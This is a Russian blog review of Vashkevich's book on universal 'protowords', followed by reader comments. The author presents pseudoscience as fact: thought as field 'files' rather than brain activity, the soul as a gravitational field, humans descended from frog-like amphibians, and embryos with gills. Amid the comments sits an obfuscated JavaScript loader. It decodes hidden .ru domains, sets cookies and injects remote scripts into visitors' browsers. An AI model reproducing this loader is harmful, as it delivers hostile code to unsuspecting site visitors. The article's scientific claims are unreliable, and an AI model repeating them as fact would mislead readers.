Наконец покинул больничные стационары и вернулся домой для амбулаторного лечения, и теперь уже не я буду выбирать темы, на которые писать, а темы будут выбирать меня. Но, все же, дам еще одну статью на тему о сущности человека, поскольку самому не известно, когда в следующий раз смогу вернуться к этой проблеме.
В больнице прочел книгу Н.Н. Вашкевича «Между богом и дьяволом. Универсальный семантический код» из серии «Семантические языки мозга» (М.: Белые альвы, 2008). Поскольку всякое упоминание о книге является ее рекламой, то начну с того, что книга издана паршиво – так, как будто в издательстве ее рукопись вообще никто не читал. Пару раз встречаются просто повторы текста, во множестве повторяется один и тот же текст без приличествующих отсылок, скажем, «как было сказано раньше». Короче, редактор получила деньги ни за что.
Сам Николай Николаевич Вашкевич, кстати, автор «Дуэли», тоже написал не лучшее свое произведение, но, будем надеяться, не последнее, и будем надеяться, что последующие будут существенно лучше. Немного критики я дам ниже, а сначала обязан сказать, что автор сделал открытие, имеющее мировое общенаучное значение, а если учесть, что он всего лишь лингвист, а не физик или биолог, то его заслуги просто трудно переоценить. Правда, нет уверенности, что сам он понимает, что именно открыл, однако самого открытия и заслуг Вашкевича это не умаляет.
Прежде всего скажу, что он сделал свое открытие благодаря свойству, очень редкому у нынешних интеллектуалов, – в свое время Вашкевич получил не только аттестат зрелости, но и добротное советское среднее образование, однако главное в Вашкевиче то, что он не стесняется этим образованием пользоваться. У нас же сегодня, если вы заметили, предметом гордости «интеллектуала» является его некомпетентность. Спроси какого-нибудь биолога, что следует из закона Ома, и тот с гордостью заявит, что он не специалист в физике, а гуманитарии в этом смысле вообще образец дебилизма. Так вот, Вашкевич знает, что следует из закона Ома, и смело пользуется знаниями, которыми обязан уметь пользоваться любой культурный человек. При этом, само собой, ошибается, и об этом надо все же сказать, чтобы оппоненты не тыкали ему найденными в тексте фактическими ошибками, и не выплескивали вместе с водою и младенца. Не ошибается тот, кто не работает, а Вашкевич выполнил большую работу, само собой, он и ошибался в этой работе достаточно.
Скажем, пишет о таблице Менделеева: «Не все же вещества нашли место химической таблице. Золото есть, серебро есть, а мела – нет». Не хорошо! Таблица Менделеева это таблица элементов, а не веществ, надо бы Николаю Николаевичу освежить знания химии. Или, скажем: «Чмо означает упрямец, человек для которого не существуют доводы». Военному переводчику Вашкевичу можно было бы знать, что ЧМО это принятая в армии аббревиатура «части материального обеспечения», правда, есть и малоцензурная военная расшифровка этой аббревиатуры, которую при плохом материальном обеспечении используют военнослужащие боевых частей. Поэтому «чмо» - это человек, не пригодный к основной работе, в данном случае – к боевой работе, и плохо исполняющий даже ту легкую работу, которая ему поручена.
Но таких фактических ошибок, даже без учета более пятисот страниц текста, у Вашкевича не много. Правда, этим недостатки его книги не ограничиваются. Сделав открытие, но не вполне понимая его место в Жизни, Николай Николаевич поспешил практически применить свое открытие для объяснения интересных ему вопросов. И тут, как говорится, «Остапа понесло», причем, с заносами на всех поворотах. Вашкевич создал и обосновывает уйму гипотез, правомерность которых вызывает большие сомнения, мало этого, будь эти гипотезы безусловно правильными, их ценность по большому счету ничтожна. Полагаю, что Николаю Николаевичу следовало просто написать книгу «Протослова», а в книге ограничиться только доказательствами наличия этих протослов и гипотезами того, откуда они взялись, а Вашкевич же, так сказать, руководствовался девизом председателя Мао «Пусть расцветают сто цветов!».
Я понимаю, что обижаю автора, и в свое оправдание приведу японскую притчу. Один самурай вырастил цветы изумительной красоты и вырастил этих цветов целую клумбу. Об этом узнал император и выразил желание приехать и посмотреть это чудо. Накануне приезда императора, самурай выкосил всю клумбу, оставив один единственный цветок, а сделал он это для того, чтобы красота клумбы не помешала императору любоваться красотой цветка. Вот так и я выкашиваю весьма любопытные гипотезы Вашкевича, чтобы не упустить главного.
Вашкевич сделал открытие – языки всех рас и народов имеют в своей основе единую, как он называет, «плазму», некие единые «системные файлы», входящие во все языки мира. Вернее, в языках всех рас и народов есть слова, звучащие одинаково и означающие одно и то же. Это главное.
Он уверен, что эта плазма состоит из русского и арабского языков («плазма РА»), он называет ее также «языком бога», но это в его открытии не выдерживает критики и является лишним (это я продолжаю «косить клумбу»).
Откуда и каким образом родилась эта «плазма», Вашкевич не объясняет, что дает мне право сделать эту работу самому.
Вашкевич об этом не пишет, но давайте мы образно представим себе его открытие. Поскольку слова воплощаются звуками, то это означает, что все народы мира одни и те же понятия первоначально выражали практически одними и теми же звуками. Потом языки народов изменились, но остатки протослов сохранены всеми народами. Если мы верующие иудеи, христиане или мусульмане, то мы с этим согласимся сходу – ведь это язык Адама и Евы («язык бога»). Но если мы атеисты, то нам нужно понять истинное значение этого открытия.
Однако сначала о том, почему Вашкевич считает, что плазма языка состоит из русского и арабского, и о его методике. В непонятных текстах Вашкевич берет вызывающие вопросы слова и смотрит, что означают похоже звучащие слова в русском или арабском языках. Далее он подставляет это значение в непонятный текст и с позиции здравого смысла этот текст действительно становится понятным! В основном, Вашкевич толкует идиомы, но не стесняется толковать и непонятные места из Библии и Корана, утверждая, к примеру, что Коран вообще был первоначально написан на русском языке (я уже писал, что Николая Николаевича легко заносит на поворотах). Но особенно убедителен он в толковании идиом. Напомню, что идиома — это такое сочетание языковых единиц, значение которого не совпадает со значением составляющих его элементов.
Скажем, идиома «семь пядей во лбу». Мы говорим так об очень умном, знающем человеке, мнение которого по спорному вопросу целесообразно узнать. Однако из текста идиомы всего лишь следует, что у такого человека очень высокий лоб. Хорошо. Но пядь – это старорусская мера длины равная примерно 19 сантиметрам. Лоб в одну пядь уже принадлежал бы какому-нибудь мутанту, а в семь пядей? То есть, мало того, что смысл идиомы не совпадает с ее значением, но и в самой идиоме заложена какая-то глупость. И вот Вашкевич по своей методе находит в арабском языке слово, созвучное слову «пядь». Это глагол «фад» и означает он «получить знания». С учетом этого арабского значения, наша идиома превращается в нечто вроде «семь образований в голове», а это, согласитесь, имеет гораздо больше здравого смысла для описания того, что мы этой идиомой действительно хотим сказать.
Вашкевич сотнями таких или похожих примеров заполнил свою книгу, однако, при ее чтении есть проблема. Откуда я знаю, что именно по-арабски означают звуки «фад» и есть ли в арабском вообще такие звуки? Правда, Вашкевич навязчиво требует его проверить, дает выходные данные русско-арабских словарей, но что толку? Особенно, если учесть, что у арабов и алфавит другой, и читают они справа налево. Поэтому многими читателями его книга воспринимается, как забавный прикол, тем более, что и написана она хлестко и в виде вымышленного спора Вашкевича с оппонентами, то есть, не в принятом сегодня «научном» виде. Не скрою, по этой причине и я очень долго читал эту книгу, воспринимая ее именно в этом ключе – как интересный прикол, пока сам нечаянно не воспользовался методикой Вашкевича. Было это так.
В одном месте по совершенно другому поводу он разъяснил, что в арабском языке означает глагол, звучащий, как «кат». А я тут же вспомнил идиому «не мытьем, так катаньем». Выражаемый идиомой смысл – проявить упорство в достижении результата. Но, что означает смысл, заложенный в саму идиому? Что-то является грязным, а мы хотим любой ценой убрать грязь. Мытье не помогает или невозможно. Но, что нам дает катание грязного? Как оно от катанья станет чистым? Положим, у нас грязные ногти, помыть которые невозможно или мытье ничего не дает. Как их катать и что это даст? Так вот, как утверждает Вашкевич, в арабском глагол «кат» означает «отрезание». И если в идиому вставить этот смысл корня «кат», то и составляющие ее слова приобретают смысл – не можешь отмыть, тогда отрежь грязное. Действительно, уронив некий, не поддающийся мытью продукт на землю и загрязнив его этим, мы чаще всего загрязнившуюся часть отрежем, чтобы съесть чистую.
Однако в этом примере всплывают и причины моего сомнения в том, что языковая плазма является русско-арабской. Ведь и в английском языке «кат» - отрезать. Мало этого, одна из древнейших казней – отрубание головы. Что отрубить, что отрезать – результат один и тот же. Так вот, в украинском и польском языках «кат» это палач.
Короче, наличие общей для всех народов словесной плазмы, безусловно. Но, как мне кажется, если бы ее наличие открыл не переводчик с арабского на русский Н.Н. Вашкевич, а какой-нибудь переводчик с китайского на английский, то такой переводчик мог бы считать эту плазму не русско-арабской, а англо-китайской.
Протослова у разных народов дополнялись и заменялись новыми словами, возможно, лингвисты, могут объяснить и причины, почему это происходило. Я же вспомнил пример такого не понятного мне изменения русского языка, который уже приходилось приводить по другому поводу. Скажем, в русском языке правое дело – это прямое, честное, правильное дело. На реверсе медалей времен Великой Отечественной войны писалось: «Наше дело правое – мы победим!», - а на медали «За победу над Германией» эта надпись была изменена: «Наше дело правое – мы победили!». Но почему истинным является дело, которое справа, а не прямо или слева? Я нашел ответ на этот вопрос в тогдашней Югославии. У славян-сербов до сих пор «право» - это прямо, «десно» - право, а «лево» - лево. Но и у наших предков раньше было право – «десно», прямо – «право», лево – «ошуе». Отсюда и сохранившаяся до сих пор истинность (прямота) правого дела. Почему, уже в пределах исторического времени, мы так изменили свой язык, я объяснить не могу, но факт есть факт – народы мира меняют слова в своих языках, даже вопреки видимой логике.
Но в таком случае естественным во всех языках мира является и существенное изменение протослов, и даже их частичное исчезновение.
Причем, Вашкевич ошибается, когда ведет разговор о едином протоязыке для всего мира в целом. Он и сам никакие языки, как таковые, не рассматривает, а рассматривает только звучание слов в них. Я не лингвист и не хочу в данном случае в эту область знаний углубляться, но язык это не только слова, но и способ выражения мыслей. Скажем, нам, русским, необходимы падежи, чтобы выразить свои мысли, а англичане свободно без падежей обходятся. Но нам хватает трех времен, а англичанам, чтобы выразить мысль, этого мало. Поэтому слова это всего лишь часть языка, причем, и не основная. И Вашкевич на самом деле доказал не наличие протоязыка, а наличие протослов во всех языках всех языковых групп.
Кстати, Вашкевич отрицает наличие индоевропейского языка, считающегося праязыком ряда народов, и я с ним согласен вот по какой причине. Повторю, я не лингвист и могу в данном случае ошибаться, но я ставлю себя на место того «индоевропейца», который решил создать индоевропейский язык, и мне сразу же становится понятным, что начну я не с выдумывания «индоевропейских» слов, а с разработки правил передачи и восприятия информации словами – с общей архитектуры языка. Скажем, должны ли все объекты окружающего мира быть мужчинами, женщинами и среднего рода или не должны? То есть, нужен ли мне род слов при передаче информации (как он нужен русским) или нет (как он не нужен англичанам)? Достаточно ли мне просто прошедшего времени при передаче информации, как русским, или мне нужно обязательно сообщить, что событие закончилось в прошедшем времени или длилось в нем, как это нужно англичанам? То есть, прежде чем выдумывать слова, нужно разработать правила, по которым из этих слов составляется информация. Причем, эти правила языка должны быть наиболее неизменны, поскольку это образ мышления данного народа, и именно эти правила должны указывать на родство языков. Смотрите, нынешние идиоты меняют русские слова на английские, к примеру, «подросток» на «тинэйджер», «переделку» на «ремейк». Тем не менее, эти слова полностью подчиняются правилам русского языка – они и склоняются по падежам, и имеют род. И «русскость» языка определяют не слова, а правила: все русские слова можно поменять, но если правила передачи ими информации останутся неизменными, то это по-прежнему будет русский язык или язык «русской группы языков».
Но если уже в русском и английском языках правила передачи информации словами разные, то почему эти языки считаются одной языковой группы? Да, когда наши предки пытались озвучить понятие единицы веса, то у них получились звуки «пуд», а когда это делали предки англичан, то у них получились звуки «паунд». Но почему нам нужно относить эти языки к одной индоевропейской языковой группе? Только потому, что в этих языках многие понятия выражаются словами с похожим звучанием?
Ну, так Вашкевич и показал наличие протослов во всех языках мира всех языковых групп.
Итак, если мы отбросим версию того, что бог сразу же вооружил Адама и Еву способностью изъяснять звуками свои мысли, и что от языка Адама и Евы происходили все остальные языки, то возникает весьма интересный вопрос – откуда у разных народов на разных континентах оказались единые протослова? Ведь языки совершенно свободны и меняются с удивительной быстротой, к примеру, мы, русские, сегодня уже не понимаем даже собственных предков. Нам сегодня даже «Слово о полку Игоревом» надо переводить на современный язык, хотя этому произведению едва восемь веков. И чем обусловлено то, что при такой свободе языков на всех континентах у всех народов, которые, казалось бы, в своих свободных языках изначально должны были выдумать свои собственные слова, одни и те же понятия и объекты воспроизводились до крайности похожими звуками?
Разрешим сначала вопрос о том, чем мы мыслим.
Напрашивающийся ответ – словами. Однако этот ответ вызывает сомнения. Мыслим мы с такой скоростью, что за нами не поспеет никакое произношение слов. Скажем, мы идем по неширокой дороге и думаем о своем. Сзади слышим шум нагоняющего автомобиля, и даже не обдумывая то, что нужно сделать, отходим на обочину, чтобы пропустить автомобиль мимо себя. Если нас спросить, почему мы так сделали, то в этом случае мы словами объясним, как именно мы мыслили: «что дорога слишком узкая, и мы ее освободили, чтобы не слушать гудки автомобиля или ругань водителя». Но ведь эти окавыченные мною слова появились как результат нашего мышления, результат, который требуется изложить хотя бы себе, а изначально мыслили-то мы без слов! Чем, при помощи чего? Обычно говорят, что подсознанием. Но, по моему мнению, само это слово «подсознание» ничего конкретно не описывает и используется исключительно для прикрытия бессилия в вопросе объяснения процесса мышления.
Мы мыслим некими единицами информации, представляющими собой кодированную запись, назовем эти единицы по-современному «файлами». У каждого файла есть имя – слово, и мы только результат мышления, да и то, если нам это надо, считываем в виде имен этих файлов, поэтому нам и кажется, что мы думаем как бы словами. Но если повнимательнее присмотреться к себе, то понимаешь, что это невозможно – мы слишком быстро думаем, чтобы процесс мышления можно было осуществить произнесением слов даже в уме.
Повторю то, о чем уже неоднократно писал: гипотеза о том, что мы думаем серым веществом нашего головного мозга, не выдерживает никакой критики. Живой организм это химический реактор, в нем протекают химический процессы, подчиняющиеся законам химии. Эти процессы и законы:
- из-за относительно медленного движения молекул и атомов к зоне химической реакции и медленного выхода продуктов из зоны реакции, не способны обеспечить ту скорость, с которой происходит мышление, даже если реакции будут протекать со скоростью взрыва, невозможной в организме;
- не способны обеспечить запись информации, а пресловутые гены это всего лишь оборудование и инструмент для строительства и ремонта организма;
- не способны обеспечить запись информации и в минимально необходимом для жизни объеме, даже если согласиться с тем, что в генах какая-то информация записана;
- не способны передать информацию потомству, а реально она передается в огромных объемах.
Образно получается так. «Настоящие ученые» утверждают, что баба Яга летает на ступе. Но ступа тяжелее воздуха, не имеет аэродинамических свойств крыла, не имеет винтов или реактивных двигателей для создания вертикальной тяги. «Летает!» - продолжают утверждать «серьезные ученые». Почему? Потому, что они не видят у бабы Яги никакого иного приспособления для полета. И в нашем случае тоже так: раз «ученые» не видят, кем еще может быть человек, то, значит, его тело - этот сгусток молекул - и думает, и запоминает информацию. Но это абсолютно невозможно! Такая логика не вызывает протеста только у сказочников, но как ее терпеть у людей, утверждающих, что они занимаются изучением человека??
Разве вы видите структурированное магнитное поле, позволяющее записывать, считывать, запоминать и обрабатывать информацию в компьютере? Но в компьютере это поле есть, и без него компьютер просто «железо». Магнитное поле компьютера создается самим компьютером, расположено на его носителях и без компьютера это поле погибает. А человек это структурированное либо биополе, либо, что мне кажется более вероятным, гравитационное поле, и это поле не создается телом человека, а только расположено в нем на время жизни самого тела – на время, в течении которого человек обязан создать себя. После смерти тела человек продолжает жить уже собственно в поле – в наиболее приспособленной для его жизни среде. Я, для простоты, это полевое существование человека называю Душой.
Душа это и есть человек – узнанная им информация, его эмоции, способы переработки информации, способы творчества и все остальное, что есть человек, - Душа состоит из кодированных сгущений и разряжений поля, иными словами, человек состоит из файлов и является сгустком файлов точно так же, как его тело является сгустком очень сложных молекул.
Но вернемся к открытию Вашкевича.
Итак, все живое на этом свете это не просто тела, состоящие из молекул, но и, одновременно, сгустки файлов. И пока в ходе эволюции и усложнения организмов, у них не было органов чувств, это были файлы, обеспечивающие существование только тела организмов. Но вот в ходе эволюции у организмов появились слух, органы зрения, осязания и организмы начали воспринимать окружающую среду – объекты, находящиеся вокруг, - и живые существа, начиная с простейших, начали взаимодействовать с этой средой. Для выживания организму требовалось запоминать, как выглядят объекты внешнего мира и что нужно делать при встрече с ними. Информация об этом записывалась в Душе организма в виде файлов и передавалась потомству.
Я, да и не только я, утверждаю, что все животные способны передавать друг другу информацию непосредственно – файлами, с помощью поля, без каких-либо звуков. (Кстати, эту реликтовую способность, сохраняют и некоторые люди). Но, чтобы предаваемая информация была понята собратьями и детьми, эти файлы должны быть идентичными. Данный вид организмов, их тело, изменялись и совершенствовались в ходе эволюции. Но файлы об окружающем мире предавались не только из поколения в поколение, но из старого вида организмов новому виду в низменном виде – в виде точных копий, причем, причем, первоначальные файлы передавались от того микроба, от которого эволюционировал весь вид этих организмов. По-другому представить процесс эволюции невозможно, поскольку в случае какого-либо изменения файлов с информацией об окружающей среде и о способах взаимодействия организма с этой средой, погибнет и особь с измененными файлами, и весь вид из-за потери способности выжить.
Лично я считаю наиболее обоснованной ту теорию эволюции и появления человека, по которой человек произошел от некоего, распространенного во всем мировом океане, вида «лягушек» (неких доисторических земноводных животных), которые в ходе эволюции окончательно выползли на берег и стали жить на суше. (У эмбриона человека до сих пор имеются жабры, женщины легко рожают в воде, причем, новорожденные без труда плавают, ныряют и т.д.) Те из «лягушек», которые выползли на сушу с суровыми условиями жизни, потребовавшими развития интеллекта, эволюционировали в людей, а те, кто попал в комфортные, обеспеченные пищей условия, обросли шерстью (чтобы не задумываться об одежде) и стали обезьянами. Но поскольку все люди произошли от одного вида земноводных, то у всех протолюдей в памяти были записаны единые файлы накопленных до этого сведений об объектах окружающей среды и необходимых для выживания понятий.
Развитие интеллекта привело к отказу человека от передачи информации непосредственно файлами от Души к Душе. При таком способе информации можно передать только уже известные понятия, а новую информацию, файлы которой отсутствуют у сородичей, передать невозможно, то есть, при прямой передаче информации невозможно творить. Люди вынуждены были освоить звуковой язык для общения друг с другом.
Создавали люди правила своего языка как совершенно новые, совершенно не используемые «лягушками» понятия, посему у каждого народа правила и логика языка стали разными. Но создавая слова, создавая звуки слов, люди, продували воздух через голосовые связки и таким образом сначала пытались воспроизвести в виде звуков уже имеющиеся у них в памяти файлы известных им объектов и понятий. Но эти файлы у всех потомков «лягушек» были одинаковы, посему и почти все слова этих известных всем «лягушкам» объектов и понятий в языках у всех племен доисторических людей были похожи по звучанию. В дальнейшем эти протослова заменялись другими словами, почему-то принятыми, как более удобные, в языке данного народа, и сохранялись протослова в только всплывающих из глубин веков идиомах и текстах, да и то - в искаженном (осовремененном) виде.
То есть, «языковая плазма», открытая Н.Н. Вашкевичем, это файлы памяти Жизни, файлы памяти всех организмов всей линии эволюции человека, начиная, не исключено, от какого-то исходного микроба.
Я, не припутывая сюда бога, поэтому по-другому объяснить открытие Вашкевича не могу.
Именно поэтому открытие Вашкевича имеет огромное общенаучное значение – это открытие прямо доказывает полевую суть всего живого, доказывает, что человек это не столько тело, сколько Душа.
Информационная эволюция
Можно сказать, что параллельно с эволюцией материи идёт и эволюция информационная.
Вот только "оторванность" поля от материи сомнительна. Мягко говоря.
Надеюсь этот комментарий будет пропущен.
Просто Жизнь!
НЕТ никакой Эволюции!!! Она уже закончилась!!! И вообще - это была НЕ эволюция, а просто Реализация Замысла Бога! (Как бы ЭТО не нравилось Матер-и-алистам!!!)
А насчёт "оторванности" - НЕ беспокойтесь! Её НЕТ!!! Просто для Виденья требуются ГЛАЗА - но уже НЕМНОГО другие!!! Их ещё называют "духовное око"... Помните, что Говорит Исус в Евангелии от Фомы:"Царство Небесное внутри вас и оно ваше ОКО"! Вот им-то ВСЁ и ВИДНО! ;)))
Идите!!!... А не спите!!! И всё Найдётся.......
Око, Бог, подсознание
Царствие Небесное это Душа- по Христу. То есть не только око, но и много чего еще. Око это скорее сердце.
"Ты к нему оком, а он к тебе боком"
Быт.1:27 И сотворил Бог человека по образу Своему, Это Бог-Творец. И только потом.
Быт.2:7 И создал Господь Бог человека из праха земного.-Это уже Адам. Господь это Яхве.
Свои творения он считает рабами. К другим людям, не своим творениям-беспощаден.Рай это тоже он.
Христос назовет этого Господа -Сатаной. Прямо в Нагорной Проповеди. Вопрос:Как можно было объединить взаимоисключающие Ветхий и Новый Завет. Тем более в Ветхом никаких заветов нет- это приказы для рабов.
И от кого?! А вот Новый -это заветы для людей и о любви.
Подсознание это банк освоенных программ, чтобы заново, каждый раз не учиться ходить, говорить и уступать дорогу машине.
А если эволюции вообще не
А если эволюции вообще не было?
window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26030",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
За что особенно ценю работы
За что особенно ценю работы Юрия Игнатьевича - за их целостность и внутреннюю непротиворечивость.
Эта статья дополняет "Евангелие атеиста" и поднимает проблему биополя, его природы.
В этом плане интересно узнать мнение Юрия Игнетьевича по поводу "Эфиродинамических гипотез" Владимира Акимовича Ацюковского: http://www.atsuk.dart.ru/online/ether_dynamic_hypotheses/index.shtml
Кстати, автора "Дуэли".
Согласно его гипотезе любая химическая реакция формирует в пространстве эфирные возмущения - тороидальные вихри.
Человек, являясь химическим реактором, создает в пространстве множество эфирных вихрей, которые, вцелом, могут быть названы биополем.
По Ацюковскому, гравитационное взаимодействие также вызвано эфирными возмущениями.
от Юрия Игнатьевича
Мне уже приходилось приносить извинения Владимиру Акимовичу, подарившему мне эту книгу. Я считаю наличие эфира безусловным (правда, в виде твердого тела), но книгу я прочел примерно до сотой страницы (пока еще был текст), а потом начались формулы, а времени, вникать в их суть, просто нет. Так, что я его искренне уважаю, но его теории эфиродинамики не знаю. Но Ацюковского и без этого есть за что уважать.
С возвращением!
Приятно после столь тяжелых дней видеть Вас снова за работой. Ваш труд нас окрыляет!
Бог нужен каждому.
Один знакомый чеченец, кстати женатый на армянке, мне как-то сказал: "Бог один, только молимся мы ему по разному." Бог один, иначе почему он помогает и православным, и католикам, и евреям, и американским индейцам, и даже тем, кто ни в какого Бога не верит. У Вивекананды, я прочёл о том, что в индийских священных писаниях говорится: "Человек может ни разу не посетить священный храм, ни разу не помолится Божествам, но... Но если он ведёт достойную жизнь, растит детей, возводит дома, помогает родителям и бедным, уважает людей, не лжёт и бесстрашно борется с несправедливостью - он попадёт в Рай." Безбожник попадёт в Рай!
Мы можем не верить в Бога, но если у нас есть глаза, то мы не можем не заметить, что Мир наш не стоит на месте. Как есть сила тяжести влекущая воду ручья в маленькую речку, затем в полноводную реку, затем в океан, так есть сила движущая наш Мир. Эта сила собирает космическую пыль в звёзды и планеты. Эта сила движет эволюцию животного и растительного мира. Эта сила движет человеческую Цивилизацию. Я называю эту силу Богом.
Бог нашими руками строит Цивилизацию. У Бога нет других рук кроме наших, чтобы строить Цивилизацию. Бог ведёт Мир к Великой Цели. И тот, кто помогает Богу, получает от Бога максимальную поддержку и ощущение Счастья.
Ну а если ты гнида, пусть даже крещенная, пусть даже построившая храм, если ты гнида гребёшь под себя, обманываешь людей и презираешь себе подобных - никогда не получишь ты от Бога ощущение Счастья. И никакая водка, никакие деньги тебе не помогут. Твой удел - тоска, одиночество и депрессия...
Что хочет от людей Бог? Думайте и отвечайте на этот вопрос сами! Если угадаете с ответом на этот вопрос и будете жить в соответствии с замыслом Божьим - Вам повезло. Если нет - наказание неотвратимо.
Я, к примеру, считаю, что Бог хочет, чтобы мы растили здоровых детей, чтобы мы развивали промышленность и технологии, не засоряя планету. А для этого нужно построить человеческое общество основанное на справедливости и доверии. А ещё Бог хочет, чтобы мы уважали себя и жили достойно. Богу не нужны рабы.
На мой взгляд - Достоинство - вот главное требование Бога к Человеку. Слишком много развелось рабов. Рабов денег, рабов секса, рабов вещей, рабов чужого мнения, даже, так называемых "божьих рабов". И это ЧМО, простите за выражение, пролезло в элиту России.
А народ к сожалению для нас, всегда следует за элитой. ВСЕГДА! ЭТО ЗАКОН!
Так уж устроена психика человека, что ему обязательно нужен старший. Человек идет за старшим. Ещё психологи подметили, что психика человека распадается на части, если её не удерживает психосиловое поле другого уважаемого человека, пусть даже воображаемого. Для ребёнка это будет мать или отец. Для подростка - кумир. Для взрослых - это уважаемые родственники, друзья, соседи... Или Бог. Заметьте! Во многих религиях Бог наделяется человеческими качествами, да и выглядит как человек. Тот же Иисус, или Будда.
Вы думаете почему так крепко старики цепляются за религии, почему навязывают любимым детям и внукам? Ведь для образованного человека Библия или Коран или другие священные книги выглядят сказочками. Да потому, что старики выстрадали это своим жизненым опытом. Детям и внукам нужен уважаемый кто-то, на которого бы они равнялись. Кто-то, кто удерживал психику от распада.
Может ли наша элита заменить Бога? Нет! А вот Сталин мог! Недаром у нас так много сталинистов. Ещё наши предки говорили - деревня жива праведником. Нет в деревне праведника - деревня спивается, вымирает.
Так вот: Юрий Игнатьевич - это праведник для России. Беречь его надо. Праведников у нас мало. Неубережём праведников - нам конец.
Согласен. Лучше не скажешь.
Согласен. Лучше не скажешь.
о слове "бог"
Вот всегда не понимал, тех неверующих, кто обижается на верующих, когда последние обижаются на мусоленье слова "бог". Ну поймите, когда человек таскает с собой бога, да ещё и с большой буквы, а при этом утверждает, что он не верующий, это - оскорбительно, глупо, в конце концов. Скажем так, это слово - бренд, марка именно верующих!
Теперь вот начали таскать слова "душа", "дух" и проч. Понятно, что эти слова стали общенародными, как скажем "спасибо", я не предлагаю не употреблять этих слов, но когда слово "бог" пишется с большой буквы, да ещё и в откровенно религиозном смысле, с СОГЛАСИЕМ по-сути со смыслом этого слова, религиозным смыслом, повторяю, то это - кража.
С уважением, Слава (безбожник).
Бренд
Для кого-то и деньги - Бог. Чтоже им (любителям бабла) теперь - приватизировать божий бренд? :)
Бог не в брёвнах, а в рёбрах.
Слава. Мне кажется ты путаешь верящих в Бога, с верящими Папе или Патриарху. Лицензию на веру в Бога, может дать, только сам Создатель.
не хотел бы превращать в форум
Уважаемые комментаторы, не хотел бы превращать комментарии в форум, возможно будет предложение нам перейти на форум. Думаю это было б полезно. Есть у меня пару вопросов, в том числе и к уважаемому Юрию Игнатьевичу.
Поясню свою мысль относительно слов. Тот, кто использует какие-то слова не понимая их смысл, или не зная их настоящего значения поступает не просто глупо, но и весьма опасно. Легко можно оказаться в ловушке у тех, кто знает что-к-чему. Скажем вербовщики в секты, да, собственно и в "классические" религии, различные организации, движения часто этим незнанием "непосвященных" и пользуются. Вообще, всё, что находится в зоне иррационального, табуированного, особенно, что мы принимаем как-бы по умолчанию, считаем очевидным, является "отмычкой" к человеку, пусть и мыслящему. Как только вы замечаете, что кто-то использует "иррациональные" вещи незаметно, для вас, следует быть осторожным. Не обязательно человек сам хочет обмануть, возможно он просто ретранслирует этот обман. Это даже не манипуляция, ведь вам предлагается некая система весьма "твёрдых" взглядов. Вы не будете подобны доске на которой всё врема пишут новое, стирая старое, вертя вами. Нет вобьют это надолго, а лучше навсегда. Под слово "Бог" подведена целая индустрия бога. Система "взглядов" (вернее веры), будет, знамо-дело, нерушимой, вот только в начале вам надо будет поверить в нечто эдакое, а главное убедить себя в этом. Дело в том, что человек может поверить, в то, что он верит, тоесть убедить самого себя, что он верующий. Это всё равно, что в гипнозе заложить в совершенно не верящего человека, что он верит. Проснувшись, человек не понимая будет изумлён, что вроде бы всё ему говорит, что он неверующий, разум, прежние привычки и проч, а подиж ты- верую!
Чудо, да и только!
"Создатель" говорите - скоро этот сайт станет религиозным.
Человек, не понимающий смысла слов
Привет от Учёного Русича Вашкевича Н.Н., читата :
"Человек, не понимающий смысла слов, находится в состоянии полной зависимости от них"
Это один из ключевых тезисов Вашкевича Н.Н. и тема сайта С. Липинского, здесь :
http://sirag7.narod.ru
Подробности также на сайте Вашкевича Н.Н. здесь :
http://nnvashkevich.narod.ru/
Товарищи!!!!!!Ну почему Вы
Товарищи!!!!!!Ну почему Вы рассматриваете отдельно материю и отдельно информацию!!??
Раз информация на Вас воздействует(Вы что-то ЧУВСТВУЕТЕ)-значит - это один из материальных факторов Природы (Да нет в окружающем Нас мире ничего НЕМАТЕРИАЛЬНОГО!!!)
информ
Уважаемый Юрий Игнатьевич!
Знакомы ли Вы с трудами академика Николая Левашова (книга "Россия в кривых зеркалах")? Или другими? (сайт www.levashov.info )
Ежели да, то очень было бы интересно узнать Ваше мнение.
Ваши взгляды весьма созвучны с нашими.
А вместе легче бороться...
Успеха.
Юрген
О лягушках
Юрий Игнатьевич,
возражу Вам, как человеку любящему думать, коротко двумя предложениями.
1) Если Ваша гипотеза верна, то тогда дети-"маугли" ("маугли", как мы помним из книги Киплинга, означает "лягушонок") должны безо всякого обучения произносить прото-слова, заложенные в них природой.
